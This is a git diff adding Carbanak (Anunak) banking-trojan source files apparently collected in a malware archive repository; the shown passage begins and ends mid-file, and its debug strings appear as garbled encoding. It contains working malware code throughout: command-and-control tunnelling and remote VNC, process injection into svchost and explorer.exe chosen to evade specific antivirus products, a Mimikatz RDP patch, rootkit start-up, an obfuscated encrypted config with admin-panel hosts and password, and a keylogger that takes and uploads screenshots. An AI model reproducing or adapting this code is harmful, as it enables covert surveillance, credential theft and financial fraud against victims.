Str::IndexOf( ip, ':' ); //IP:Port+ if( p > 0 )+ {+ ip[p] = 0;+ int port = Str::ToInt( ip + p + 1 );+ if( !server )+ {+ DbgMsg( "������ ����� �������, ip = %s:%d, downtime = %d", ip, port, downtime );+ server = WndRec::Init( flags, ip, port, downtime );+ }+ else+ {+ DbgMsg( "��������� ����������� ����� ������, ip = %s:%d", ip, port );+ WndRec::AddIPServer( server, ip, port );+ }+ }+ }+ if( server )+ {+ WndRec::RunCmdExec( server, CallbackCmd );+ VideoPipeServer* pipeServer = new VideoPipeServer();+ if( pipeServer )+ {+ pipeServer->Reg();+ if( async )+ pipeServer->StartAsync();+ else+ pipeServer->Start();+ }+ }+}++DWORD WINAPI VideoServerProcess( void* )+{+ if( !InitBot() ) return 0;+ if( !Socket::Init() ) return 0;+ Rand::Init();+ if( !Init() ) return 0;+ if( !Pipe::InitServerPipeResponse() ) return 0;+ Run(false);+ Release();+ Socket::Release();+ ReleaseBot();+ API(KERNEL32, ExitProcess)(0);+ return 0;+}++bool VerifyConnect()+{+ StringBuilderStack<MaxSizeIpVideoServer> ipServers = DECODE_STRING(Config::VideoServers);+ StringArray servers = ipServers.Split('|');+ bool ret = false;+ if( servers.Count() )+ {+ for( int i = 0; i < servers.Count(); i++ )+ {+ AddressIpPort addr;+ if( addr.Parse( servers[i]->c_str() ) )+ {+ int sc = Socket::ConnectIP( addr.ip, addr.port );+ if( sc > 0 )+ {+ Socket::Close(sc);+ ret = true;+ break;+ }+ }+ }+ }+ else+ ret = true;+ return ret;+}++bool GetHosts( StringBuilder& hosts )+{+ hosts = DECODE_STRING(Config::VideoServers);+ return true;+}++bool RunInSvchost( const char* nameUser )+{+ if( Config::AV == AV_TrandMicro )+ return JmpToSvchost1( VideoServerProcess, Config::exeDonor, nameUser ) != 0;+ else+ return JmpToSvchost2( VideoServerProcess, Config::exeDonor, nameUser ) != 0;+}++void Start()+{+ StringBuilderStack<MaxFlagsVideoServer> textFlags = DECODE_STRING(Config::FlagsVideoServer);+ DbgMsg( "��������� �� ������� %s", textFlags.c_str() );+ if( textFlags[0] == '1' ) //��������� � ��������� ��������+ {+ DbgMsg("������ ������ � �� �������� � ��������� ��������" );+ RunInSvchost(MAIN_USER);+ }+ else+ {+ Config::state |= SERVER_NOT_PROCESS;+ if( !Init() ) return;+ Run();+ }+}++static void AnswerPatchRDP( Pipe::AutoMsg msg, DWORD )+{+ bool res = *((bool*)msg->data);+ if( res )+ {+ DbgMsg( "Patch RDP �������� �������" );+ isMimikatzPathRDP = true;+ }+ else+ DbgMsg( "Patch RDP ��������� �� �������" );+ API(KERNEL32, SetEvent)( (HANDLE)msg->tag );+}++bool StartRDP()+{+#ifdef ON_MIMIKATZ+ if( isMimikatzPathRDP ) return true;+ HANDLE eventWait = API(KERNEL32, CreateEventA)( nullptr, TRUE, FALSE, nullptr );+ ManagerServer::MimikatzPathRDP( AnswerPatchRDP, (DWORD)eventWait );+ if( API(KERNEL32, WaitForSingleObject)( eventWait, 5000 ) == WAIT_OBJECT_0 )+ return true;+#endif+ return false;+}++bool StartVNC( AddressIpPort& ipp, bool hvnc, void* tag, int c_tag )+{+ return VNC::StartDefault( ipp, hvnc, tag, c_tag );+}++bool StartServerTunnel( int port, const char* pipeName )+{+ if( VideoServer::server )+ {+ if( port == -1 )+ {+ DbgMsg( "Run pipe socket server %s", pipeName );+ PipeSocketServer* tunnel = new PipeSocketServer( pipeName, WndRec::GetIPServer(VideoServer::server), WndRec::GetPortServer(VideoServer::server) );+ return tunnel->StartAsync(false);+ }+ else+ {+ VideoServerTunnel* tunnel = new VideoServerTunnel(port);+ return tunnel->StartAsync();+ }+ }+}++bool LoadPluginRequest( const char* namePlugin, Pipe::Msg* msgIn )+{+ int i = 0;+ uint time = API(KERNEL32, GetTickCount)();+ CriticalSection cs(lockPlugins);+ for( ; i < MaxWaitPlugins; i++ )+ {+ if( waitPlugins[i].id == 0 ) break;+ if( time - waitPlugins[i].time >= 3600 * 1000 ) break; //� ������� ���� �� ������ ����������� ������+ }+ if( i < MaxWaitPlugins )+ {+ waitPlugins[i].id = WndRec::LoadPluginAsync( server, namePlugin );+ if( waitPlugins[i].id == 0 )+ {+ Pipe::SendAnswer( msgIn, VideoPipeServer::CmdLoadPlugin, 0, 0 );+ return false;+ }+ waitPlugins[i].time = time;+ Str::Copy( waitPlugins[i].pipe, sizeof(waitPlugins[i].pipe), msgIn->answer );+ waitPlugins[i].func = msgIn->func;+ waitPlugins[i].tag = msgIn->tag;+ DbgMsg( "������ ������ �� �������� ������� %s � ������� (id=%d)", namePlugin, waitPlugins[i].id );+ return true;+ }+ return false;+}++bool LoadPluginLoaded( uint id, void* data, int c_data )+{+ DbgMsg( "������� ������ � ������� (id=%d)", id );+ bool ret = false;+ CriticalSection cs(lockPlugins);+ for( int i = 0; i < MaxWaitPlugins; i++ )+ {+ if( waitPlugins[i].id == id )+ {+ int sz = *((int*)data);+ void* body = 0;+ if( sz <= 0 || sz > c_data - sizeof(int) || data == 0 )+ sz = 0;+ else+ {+ body = Mem::Alloc(sz);+ Mem::Copy( body, (byte*)data + sizeof(int), sz );+ }+ ret = PipeClient::Send( waitPlugins[i].pipe, VideoPipeServer::CmdLoadPlugin, body, sz, 0, waitPlugins[i].func, waitPlugins[i].tag );+ Mem::Free(body);+ waitPlugins[i].id = 0;+ break;+ }+ }+ return ret;+}++void AddServers( const void* data, int sz_data )+{+ if( server == 0 ) return;+ StruAddServers* addServers = (StruAddServers*)data;+ int count = addServers->count;+ AddressIpPort* addr = (AddressIpPort*)((byte*)data + sizeof(StruAddServers));+ for( int i = 0; i < count;i++ )+ WndRec::AddIPServer( server, addr[i].ip, addr[i].port );+ if( addServers->force )+ WndRec::Reconnect( server, addr[0].ip, addr[0].port );+}++void HandlerSendFolderPack( Pipe::AutoMsg msg, DWORD tag )+{+ if( server == 0 ) return;+ VideoPipeServer::MsgSendFolderPack* m = (VideoPipeServer::MsgSendFolderPack*)msg->data;+ Cab cab;+ DbgMsg( "�������� ����� %s, � %s", m->srcFolder, m->dstFolder );+ cab.AddFolder( m->dstFolder, m->srcFolder );+ cab.Close();+ DbgMsg( "�������� ���������, ����� %s", m->srcFolder );+ WndRec::SendFile( server, m->typeName, m->fileName, _CS_("cab"), cab.GetData().Ptr(), cab.GetData().Len() );+ if( m->globalId >= 0 )+ ManagerServer::SetGlobalState( m->globalId, '1' );+}++void HandlerCreateLog( Pipe::AutoMsg msg, DWORD tag )+{+ if( server == 0 ) return;+ char* s = Str::Duplication( (char*)msg->data, msg->sz_data );+ uint id = WndRec::CreateStream( server, WndRec::STREAM_LOG, 0, s, 0, 10000 );+ Pipe::SendAnswer( msg, msg->cmd, &id, sizeof(id) );+ Str::Free(s);+}++void HandlerCreateStream( Pipe::AutoMsg msg, DWORD tag )+{+ if( server == 0 ) return;+ char* p = (char*)msg->data;+ int typeId = *(int*)p; p += sizeof(typeId);+ char* typeName = p; p += Str::Len(p) + 1;+ char* fileName = p; p += Str::Len(p) + 1;+ char* ext = p;+ DbgMsg( "������ �� �������� ������ %d,%s,%s,%s", typeId, typeName, fileName, ext );+ uint id = WndRec::CreateStream( VideoServer::server, typeId, typeName, fileName, ext, 10000 );+ Pipe::SendAnswer( msg, msg->cmd, &id, sizeof(id) );+}++}++VideoPipeServer::VideoPipeServer()+{+}++VideoPipeServer::~VideoPipeServer()+{+}++int VideoPipeServer::Handler( Pipe::Msg* msgIn, void** msgOut )+{+ int ret = 0;+ switch( msgIn->cmd )+ {+ case CmdVideo:+ if( VideoServer::server )+ {+ MsgVideo* msg = (MsgVideo*)msgIn->data;+ if( msg->pid )+ WndRec::StartRecPid( VideoServer::server, Config::UID, msg->nameVideo, msg->pid, 0, 0 );+ else+ WndRec::StartRecHwnd( VideoServer::server, Config::UID, msg->nameVideo, HWND_DESKTOP, 0, WndRec::VIDEO_FULLSCREEN | WndRec::VIDEO_ALWAYS );+ }+ break;+ case CmdVideoOff:+ WndRec::StopRec();+ break;+ case CmdSendFile:+ SendFile( msgIn->data, msgIn->sz_data );+ break;+ case CmdTunnel:+ if( msgIn->sz_data >= sizeof(int) )+ {+ int port = *((int*)msgIn->data);+ char* pipeName = (char*)msgIn->data + sizeof(port);+ VideoServer::StartServerTunnel( port, pipeName );+ }+ break;+ case CmdAddServers:+ VideoServer::AddServers( msgIn->data, msgIn->sz_data );+ break;+ case CmdPackSendFolder:+ HandlerAsync( VideoServer::HandlerSendFolderPack, msgIn, msgIn->tag );+ break;+ case CmdCreateLog:+ HandlerAsync( VideoServer::HandlerCreateLog, msgIn, msgIn->tag );+ break;+ case CmdSendLog:+ if( VideoServer::server )+ {+ uint idStream = *((int*)msgIn->data);+ WndRec::WriteStream( VideoServer::server, idStream, (byte*)msgIn->data + sizeof(idStream), msgIn->sz_data - sizeof(idStream) );+ }+ break;+ case CmdSendStr:+ {+ WndRec::StrServer* s = (WndRec::StrServer*)msgIn->data;+ WndRec::SendStr( VideoServer::server, s->id, s->subId, s->s, s->c_s );+ }+ break;+ case CmdFirstFrame:+ if( VideoServer::server )+ WndRec::SendFirstFrame(VideoServer::server);+ break;+ case CmdLoadPlugin:+ VideoServer::LoadPluginRequest( (char*)msgIn->data, msgIn );+ break;+ case CmdCreateStream:+ HandlerAsync( VideoServer::HandlerCreateStream, msgIn, msgIn->tag );+ break;+ case CmdSendStreamData:+ if( VideoServer::server )+ {+ uint idStream = *((int*)msgIn->data);+ WndRec::WriteStream( VideoServer::server, idStream, (byte*)msgIn->data + sizeof(idStream), msgIn->sz_data - sizeof(idStream) );+ }+ break;+ case CmdCloseStream:+ if( VideoServer::server )+ {+ uint idStream = *((int*)msgIn->data);+ WndRec::CloseStream( VideoServer::server, idStream );+ }+ break;+ }+ return ret;+}++void VideoPipeServer::Disconnect()+{+ DbgMsg( "����������� ��������" );+ if( VideoServer::server )+ {+ WndRec::Release(VideoServer::server);+ VideoServer::server = 0;+ }+}++void VideoPipeServer::SendFile( const void* data, int c_data )+{+ MsgSendFile* msg = (MsgSendFile*)data;+ WndRec::SendFile( VideoServer::server, msg->typeName, msg->fileName, msg->ext, msg->data, msg->c_data );+}++bool VideoPipeServer::Reg()+{+ return ManagerServer::RegVideoServer(this);+}++bool VideoPipeServer::SendStr( int id, int subId, const char* s, int c_s )+{+ int sz = sizeof(WndRec::StrServer) + c_s + 1;+ WndRec::StrServer* s2 = (WndRec::StrServer*)Mem::Alloc(sz);+ s2->id = id;+ s2->subId = subId;+ s2->c_s = c_s;+ Mem::Copy( s2->s, s, c_s );+ s2->s[c_s] = 0;+ bool res = PipeClient::Send( Config::nameManager, ManagerServer::CmdVideoServerSendStr, s2, sz );+ Mem::Free(s2);+ return res;+}++VideoServerTunnel::VideoServerTunnel( int portIn ) : ThroughTunnel( portIn, 0, 0 )+{+}++VideoServerTunnel::~VideoServerTunnel()+{+}++int VideoServerTunnel::Connected( int sc )+{+ if( VideoServer::server )+ {+ portOut = WndRec::GetPortServer(VideoServer::server);+ Str::Copy( ipOut, sizeof(ipOut), WndRec::GetIPServer(VideoServer::server) );+ }+ return 0;+}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/abstract.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/abstract.cppnew file mode 100644index 0000000..496bfa9--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/abstract.cpp@@ -0,0 +1,14 @@+#include "core\core.h"+#include "core\abstract.h"+#include "main.h"++namespace Abstract+{++bool GetUid( StringBuilder& uid )+{+ uid = Config::UID;+ return true;+}++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/config.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/config.cppnew file mode 100644index 0000000..e14d442--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/config.cpp@@ -0,0 +1,444 @@+#include "main.h"+#include "AV.h"+#include "core\misc.h"+#include "core\crypt.h"+#include "core\file.h"+#include "core\util.h"++namespace Config+{+//������ ����������� ��������+char PeriodConnect[MaxSizePeriodConnect] = PERIOD_CONTACT;+char Prefix[MaxSizePrefix] = PREFIX_NAME;+char Hosts[MaxSizeHostAdmin] = ADMIN_PANEL_HOSTS;+char HostsAZ[MaxSizeHostAdmin] = ADMIN_AZ;+char UserAZ[MaxSizeUserAZ] = USER_AZ;+char VideoServers[MaxSizeIpVideoServer] = VIDEO_SERVER_IP;+char FlagsVideoServer[MaxFlagsVideoServer] = FLAGS_VIDEO_SERVER;+char Password[MaxSizePasswordAdmin] = ADMIN_PASSWORD;+byte RandVector[MaxSizeRandVector] = MASK_RAND_VECTOR;+char MiscState[MaxSizeMiscState] = MISC_STATE;+char PublicKey[MaxSizePublicKey] = PUBLIC_KEY;+char DateWork[MaxSizeDateWork] = DATE_WORK;+char TableDecodeString[256]; //������� ��� ������������� �������� � ������������� ������++#ifdef IP_SERVER_EXTERNAL_IP+char ExternalIP[48] = "EXTERNAL_IP";+#endif++//������ ����������� ��� ������ ����+char UID[32];+//����� ������������� �� ������ � ����� ��������� ��������� (����������) ����+char XorMask[32];+int waitPeriod;++char nameManager[32];+char fileNameBot[MAX_PATH]; //��� ���������������� ����� ����+char fileNameConfig[MAX_PATH];+char nameService[64];+char TempNameFolder[16]; //��������� ��� ����� �� ��������� �����, ���� ����� �������� ����� ������� ������ �������� ����� �����++char* BotVersion = _CT_("1.3");++//������ ��� ���������� ��������� ����� ������������ ��� �����������+uint randA, randB, randR;+HANDLE botMutex = 0;+int AV = 0;+char exeDonor[MAX_PATH]; //��� ��� � ������� ���������� ������ svchost.exe+uint state = 0;++//������� ��� ���� � ����� ��� ��������� ��������� ����+static bool GenUID()+{+ byte buf[128];+ int c_macAddress = GetMacAddress(buf);+ //��� ����� �������� 6 ����+ int hash1 = c_macAddress > 0 ? (*((DWORD*)buf) ^ *((DWORD*)(buf + 2))) : 0;+ DWORD c_compName = sizeof(buf) - c_macAddress;+ API(KERNEL32, GetComputerNameA)( (char*)buf + c_macAddress, &c_compName );+ uint hash2 = CalcHash( buf, c_macAddress + c_compName );+ //����� ������ �� ������ ���� ��� ��������+ Str::Format( XorMask, _CS_("%08x%08x"), hash1, hash2 );+ //��������� ��� � ���������+ StringBuilderStack<sizeof(UID)> _UID;+ _UID += DECODE_STRING(Prefix);+ _UID += '0';+ _UID += XorMask;+ Str::Copy( UID, _UID, _UID.Len() );+ return true;+}++static uint DecodeGenRand()+{+ randR = (randR * randA + randB) & 0xffff;+ return randR;+}++static void ExchangeDist( char* table, int p1, int p2, int count )+{+ int dist = p2 - p1 + 1;+ for( int i = 0; i < count; i++ )+ {+ int i1 = (DecodeGenRand() % dist) + p1;+ int i2 = (DecodeGenRand() % dist) + p1;+ char t = table[i1];+ table[i1] = table[i2];+ table[i2] = t;+ }+}++static void InitDecodeTable()+{+ char table[256];+ for( int i = 0; i < 256; i++ )+ table[i] = i;+ int exchanges = (randR % 1000) + 128;+ ExchangeDist( table, 1, 31, exchanges ); //��������� ����� ������ �������+ ExchangeDist( table, 32, 127, exchanges ); //��������� ascii �����+ ExchangeDist( table, 128, 255, exchanges ); //��������� ������� ��������+ for( int i = 0; i < 256; i++ )+ TableDecodeString[ table[i] ] = i;+}++bool Init()+{+ state = 0;+ //��������� ������������ ��� ���������� ��������� �����+ int n = MaxSizeRandVector - sizeof(ushort) * 3;+ randR = *((ushort*)&RandVector[n]);+ randA = *((ushort*)&RandVector[n + 2]);+ randB = *((ushort*)&RandVector[n + 4]);+ //������������� ������� �������������+ InitDecodeTable();+ GenUID();++ waitPeriod = Str::ToInt( DECODE_STRING(PeriodConnect) ) * 1000;+ if( waitPeriod <= 0 ) waitPeriod = 10 * 60 * 1000; //�� ��������� ��� � 10 �����++ StringBuilder randName( TempNameFolder, sizeof(TempNameFolder), 0 );+ Rand::Gen( randName, 8, 14 );+ fileNameConfig[0] = 0;+ char miscState[MaxSizeMiscState];+ Str::Copy( miscState, sizeof(miscState), DECODE_STRING(MiscState) );++ if( miscState[0] == '0' ) //��������� ���������� � ������������+ {+ state |= NOT_INSTALL_SERVICE | NOT_INSTALL_AUTORUN;+ DbgMsg( "��������� ���������� � ������������" );+ }+ if( miscState[1] == '0' ) //�������� ������ �������+ {+ state |= SPLOYTY_OFF;+ DbgMsg( "�������� ������ �������" );+ }+ if( miscState[2] == '1' )+ {+ state |= CHECK_DUPLICATION;+ DbgMsg( "�������� �������� ������� �����" );+ }+ if( miscState[3] == '1' )+ {+ state |= PLUGINS_SERVER;+ DbgMsg( "������� ������������ � �������" );+ }+ if( miscState[4] == '1' )+ {+ state |= NOT_USED_SCVHOST;+ DbgMsg( "�������� � ������� �������� ��� ������� � svchost.exe" );+ }+ AV = AVDetect();+ DbgMsg( "AVDetect %d", AV );+ exeDonor[0] = 0;+ if( AV == AV_AVG )+ {+ Str::Copy( exeDonor, sizeof(exeDonor), _CS_("WindowsPowerShell\\v1.0\\powershell.exe") );+ }+ else if( AV == AV_TrandMicro )+ {+ StringBuilder path( exeDonor, sizeof(exeDonor) );+ bool res = Path::GetCSIDLPath(CSIDL_PROGRAM_FILESX86, path );+ if( !res )+ res = Path::GetCSIDLPath(CSIDL_PROGRAM_FILESX86, path );+// DbgMsg( "%s", exeDonor );+ if( res )+ Path::AppendFile( path, _CS_("Internet Explorer\\iexplore.exe") );+ else+ Str::Copy( exeDonor, sizeof(exeDonor), _CS_("mstsc.exe") );+ }+ return true;+}++bool InitFileConfig( bool def )+{+ //��������� ��� ������ �����+ StringBuilderStack<32> name;+ Crypt::Name( _CS_("anunak_config"), XorMask, name );+ name += _CS_(".bin");+ StringBuilder configName( fileNameConfig, sizeof(fileNameConfig) );+ if( def )+ GetDefBotFolder(configName);+ else+ GetBotFolder(configName);+ Path::AppendFile( configName, name );+ DbgMsg( "���������������� ����: %s", configName.c_str() );+ return true;+}++bool GetDefBotFolder( StringBuilder& path, const char* addFolder, bool cryptAddFolder )+{+ Path::GetCSIDLPath( CSIDL_COMMON_APPDATA, path, _CS_("Mozilla") );+ Path::CreateDirectory(path);+ if( addFolder )+ {+ StringBuilder name;+ if( cryptAddFolder )+ Crypt::Name( addFolder, XorMask, name );+ else+ name = addFolder;+ Path::AppendFile( path, name );+ Path::CreateDirectory(path);+ }+ return true;+}++bool GetBotFolder( StringBuilder& path, const char* addFolder, bool cryptAddFolder )+{+ path = Config::fileNameBot;+ if( path.Len() < 10 ) return false;+ Path::GetPathName(path);+ if( addFolder )+ {+ StringBuilder name;+ if( cryptAddFolder )+ Crypt::Name( addFolder, XorMask, name );+ else+ name = addFolder;+ Path::AppendFile( path, name );+ Path::CreateDirectory(path);+ }++ return true;+}+++bool GetBotFile( StringBuilder& fileName, const char* name )+{+ fileName.Grow(MAX_PATH);+ if( GetBotFolder(fileName) )+ {+ StringBuilder name2;+ Crypt::Name( name, XorMask, name2 );+ name2 += _CS_(".txt");+ Path::AppendFile( fileName, name2 );+ return true;+ }+ return false;+}++static bool GetFileNameForNameManager( StringBuilder& fileName )+{+ return GetBotFile( fileName, _CS_("NameManager") );+}++bool SaveNameManager()+{+ StringBuilderStack<MAX_PATH> fileName;+ if( GetFileNameForNameManager(fileName) )+ {+ DbgMsg( "��� ��������� ��������� � %s", fileName.c_str() );+ return File::WriteAll( fileName, nameManager, Str::Len(nameManager) );+ }+ return false;+}++bool LoadNameManager( bool del )+{+ StringBuilderStack<MAX_PATH> fileName;+ if( GetFileNameForNameManager(fileName) )+ {+ Mem::Data data;+ if( File::ReadAll( fileName, data ) )+ {+ DbgMsg( "��������� ��� ��������� � %s", fileName.c_str() );+ if( del ) File::Delete(fileName);+ if( data.Len() > 10 )+ {+ Str::Copy( nameManager, sizeof(nameManager), data.p_char(), data.Len() );+ return true;+ }+ }+ }+ return false;+}++StringBuilder& NameBotExe( StringBuilder& name )+{+ Crypt::Name(_CS_("anunak"), XorMask, name );+ return name += _CS_(".exe");+}++StringBuilder& FullNameBotExe( StringBuilder& path )+{+ StringBuilderStack<MAX_PATH> startup;+ Path::GetStartupUser(startup);+ StringBuilderStack<32> name;+ NameBotExe(name);+ return Path::Combine( path, startup, name );+}++StringBuilder& NameUserAZ( StringBuilder& userAZ )+{+ userAZ = DECODE_STRING(UserAZ);+ return userAZ;+}++static void CreateNameMutex( StringBuilder& name )+{+ Crypt::Name( _CS_("anunak_mutex"), Config::XorMask, name );+}++bool CreateMutex()+{+ StringBuilderStack<32> name;+ CreateNameMutex(name);+ botMutex = Mutex::Create(name);+ if( botMutex )+ return true;+ return false;+}++void ReleaseMutex()+{+ if( botMutex )+ {+ Mutex::Release(botMutex);+ botMutex = 0;+ }+}++bool GetSleepingFileName( StringBuilder& fileName )+{+ return Config::GetBotFile( fileName, _CS_("date_sleep") );+}++bool IsSleeping()+{+ StringBuilderStack<MAX_PATH> fileName;+ if( !GetSleepingFileName(fileName) ) return false;+ Mem::Data date2;+ bool ret = false;+ if( File::ReadAll( fileName, date2 ) )+ {+ SYSTEMTIME st;+ API(KERNEL32, GetLocalTime)(&st);+ StruSleep* date = (StruSleep*)date2.Ptr();+ uint d1 = date->year * 10000 + date->month * 100 + date->day;+ uint d2 = st.wYear * 10000 + st.wMonth * 100 + st.wDay;+ if( d1 > d2 ) //��� ����� �����+ {+ ret = true;+ }+ else+ {+ File::Delete(fileName);+ }+ }+ return ret;+}++void DelSleeping()+{+ StringBuilderStack<MAX_PATH> fileName;+ if( GetSleepingFileName(fileName) )+ File::Delete(fileName);+}++uint GetDateWork()+{+ return Str::ToInt( DECODE_STRING(DateWork) );+}++};++#ifdef ON_CODE_STRING+//���������� ������� ��� ������������� ������������� �����+StringDecoded DECODE_STRING( const char* codeStr )+{+ return StringDecoded( DECODE_STRING2(codeStr) );+}++char* DECODE_STRING2( const char* codeStr )+{+ int len = Str::Len(codeStr) - CountStringOpcode; //�������� ����� ������+ if( len < 0 ) len = 0; //���� ������������ ������ ������+ char* s = Str::Alloc(len + 1);+ int lenBlock = len / CountStringOpcode;+ int nb = 0; //����� �����+ int rb = 0; //������� �������� �������� � �����+ int delta = 0;+ int n = 0;+ int i = 0;+ while( n < len )+ {+ if( rb == 0 )+ {+ nb++;+ if( nb <= CountStringOpcode )+ {+ delta = codeStr[i] - 'a';+ i++;+ rb = lenBlock;+ }+ else+ rb = len - n;+ }+ if( rb > 0 )+ {+ rb--;+ int c = codeStr[i];+ int min, max;+ if( c < 32 )+ min = 1, max = 31;+ else if( c < 128 )+ min = 32, max = 127;+ else+ min = 128, max = 255;+ c = Config::TableDecodeString[c];+ c -= delta;+ if( c < min ) c = max - min + c;+ s[n++] = c;+ i++;+ }+ }+ s[n] = 0;+ return s;+}++StringDecodedW DECODE_STRINGW( const char* codeStr )+{+ return StringDecodedW( DECODE_STRINGW2(codeStr) );+}++wchar_t* DECODE_STRINGW2( const char* codeStr )+{+ return Str::ToWideChar( DECODE_STRING(codeStr) );+}++#else++char* DECODE_STRING2( const char* codeStr )+{+ return Str::Duplication(codeStr);+}++StringDecodedW DECODE_STRINGW( const char* codeStr )+{+ return StringDecodedW( DECODE_STRINGW2(codeStr) );+}++wchar_t* DECODE_STRINGW2( const char* codeStr )+{+ return Str::ToWideChar(codeStr);+}++#endif //ON_CODE_STRINGdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/explorer_loop.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/explorer_loop.cppnew file mode 100644index 0000000..d931ad4--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/explorer_loop.cpp@@ -0,0 +1,75 @@+#include "main.h"+#include "core\file.h"+#include "core\socket.h"+#include "AdminPanel.h"+#include "Manager.h"+#include "task.h"+#include "service.h"+++void ExplorerLoop( bool runAdminPanel )+{+//���� �������� � InjectToExplorer32(), �� ������������� �� �����+ InitBot();+ DbgMsg( "���������� � explorer.exe, UID=%s", Config::UID );+ if( !InitRootkit() )+ {+ DbgMsg( "Rootkit �� �����������" );+ }+ Pipe::InitServerPipeResponse();+ ManagerLoop(runAdminPanel);+}++DWORD WINAPI ExplorerEntry( void* )+{+ ExplorerLoop(true);+ return 0;+}++DWORD WINAPI ExplorerEntryFromService( void* )+{+ ExplorerLoop(false);+ return 0;+}++bool WaitRunExplorer()+{+ for( int i = 0; i < 300; i++ )+ if( Process::GetExplorerPID() )+ return true;+ else+ Delay(100);+ return false;+}++void RunInExplorer2( SIZE_T param )+{+// return InjectToExplorer32(func);+ DWORD pid = Process::GetExplorerPID();+ if( pid )+ {+ SetInjectPID(pid);+ InjectIntoProcess2( pid, (typeFuncThread)param );+ }+}++bool RunInExplorer( typeFuncThread func )+{+// return InjectCrossRootkit( RunInExplorer2, (DWORD)func );+/*+ DWORD pid = Process::GetExplorerPID();+ Process::Kill( pid, 5000 );+ return Process::Exec( "explorer.exe" );+*/+/*+// return InjectToExplorer32(func);+ DWORD pid = Process::GetExplorerPID();+ if( pid )+ {+ SetInjectPID(pid);+ return InjectIntoProcess2( pid, func );+ }+*/+ return false;+}+diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/info.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/info.cppnew file mode 100644index 0000000..e9d225f--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/info.cpp@@ -0,0 +1,34 @@+#include "info.h"+#include "main.h"+#include "core\version.h"++void GetEnvironmentComment( StringBuilder& s )+{+ StringBuilderStack<256> buf;+ GetNTVersion(buf);+ s = _CS_("OS: ");+ s += buf;+ s += _CS_(", Domain: ");+ DWORD size = buf.Size();+ if( API(KERNEL32, GetComputerNameExA)( ComputerNameDnsFullyQualified, buf.c_str(), &size ) )+ {+ buf.SetLen(size);+ s += buf;+ }+ s += _CS_(", User: ");+ size = buf.Size();+ if( API(ADVAPI32, GetUserNameA)( buf.c_str(), &size ) )+ {+ buf.SetLen(size - 1);+ s += buf;+ }+ s += _CS_(", Ver: ");+ s += DECODE_STRING(Config::BotVersion);+}++int GetEnvironmentComment( char* s, int sz_s )+{+ StringBuilder s2( s, sz_s );+ GetEnvironmentComment(s2);+ return s2.Len();+}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/keylogger.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/keylogger.cppnew file mode 100644index 0000000..0eae3b2--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/keylogger.cpp@@ -0,0 +1,322 @@+#include "keylogger.h"+#include "core\debug.h"+#include "core\util.h"+#include "core\file.h"+#include "core\hook.h"+#include "manager.h"+#include "core\rand.h"+#include "main.h"++bool StartKeyLoggerFirstNScreenshot( int n )+{+ //����������� ������ �� ������� ������ ����+ uint mouseMsg[1];+ mouseMsg[0] = WM_LBUTTONDOWN;+ KeyLogger::FilterMsg* filterMouse = new KeyLogger::FilterMsg( mouseMsg, 1 );+ if( filterMouse )+ {+ //����������� ������ �� ������� Enter+ uint keyMsg[1];+ keyMsg[0] = WM_KEYDOWN;+ uint keys[1];+ keys[0] = VK_RETURN;+ KeyLogger::FilterKey* filterKey = new KeyLogger::FilterKey( keyMsg, 1, keys, 1 );+ if( filterKey )+ {+ //������� ���������� ������+ KeyLogger::FilterMsgBase* filters[2];+ filters[0] = filterMouse;+ filters[1] = filterKey;+ KeyLogger::FilterMsgOr* filtersOr = new KeyLogger::FilterMsgOr( (const KeyLogger::FilterMsgBase**)filters, 2 );+ if( filtersOr )+ {+ KeyLoggerFirstNScreenShot* logger = new KeyLoggerFirstNScreenShot( filtersOr, n );+ if( logger )+ {+ if( KeyLogger::JoinDispatchMessage(logger) )+ {+ DbgMsg( "������� KeyLoggerFirstNScreenshot(%d)", n );+ return true;+ }+ delete logger;+ }+ delete filtersOr;+ }+ delete filterKey;+ }+ delete filterMouse;+ }+ return false;+}+++KeyLoggerFirstNScreenShot::KeyLoggerFirstNScreenShot( KeyLogger::FilterMsgBase* filter, int countScr )+ : KeyLogger::ExecForFilterMsg(filter), countScreenShot(countScr)+{+ curr = 0;+}++void KeyLoggerFirstNScreenShot::Exec( KeyLogger::FilterMsgParams& params )+{+ if( curr < countScreenShot )+ {+ DbgMsg( "Screenshot %d, msg %d (%x)", curr, params.msg, params.msg );+ if( Screenshot::Make( 0, memScreenshot ) )+ {+ StringBuilderStack<16> fileName;+ Rand::Gen( fileName, 5, 10 );+ fileName += _CS_(".png");+ ManagerServer::SendData( _CS_("screenshot"), memScreenshot.Ptr(), memScreenshot.Len(), true, fileName );+ curr++;+ }+ }+}++//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////++static bool KeyLoggerAllCharsDestroyWindow( Hook::ParamsDestroyWindow& params )+{+ KeyLoggerAllChars* logger = (KeyLoggerAllChars*)params.tag;+ logger->SendWindowData(params.hWnd);+ return false;+}+++typeExitProcess RealExitProcess;+KeyLoggerAllChars* logger = 0;++void WINAPI HookExitProcess( UINT uExitCode )+{+ if( logger ) logger->SendWindowData(0);+ DbgMsg( "ExitProcess" );+ Delay(1000); //������ ��������, ����� ������ ���������� ������+ RealExitProcess(uExitCode);+}++KeyLoggerAllChars::KeyLoggerAllChars( KeyLogger::FilterMsgBase* filter, StringArray& captions ) : KeyLogger::ExecForFilterMsg(filter)+{+ for( int i = 0; i < captions.Count(); i++ )+ {+ if( !captions[i]->IsEmpty() )+ {+ DbgMsg( "add caption mask '%s'", captions[i]->c_str() );+ maskCaptions.Add( captions[i] );+ }+ }+}++KeyLoggerAllChars::~KeyLoggerAllChars()+{+}++bool KeyLoggerAllChars::Start( const char* nameProcess )+{+ Mem::Data klgData;+ bool myProcess = 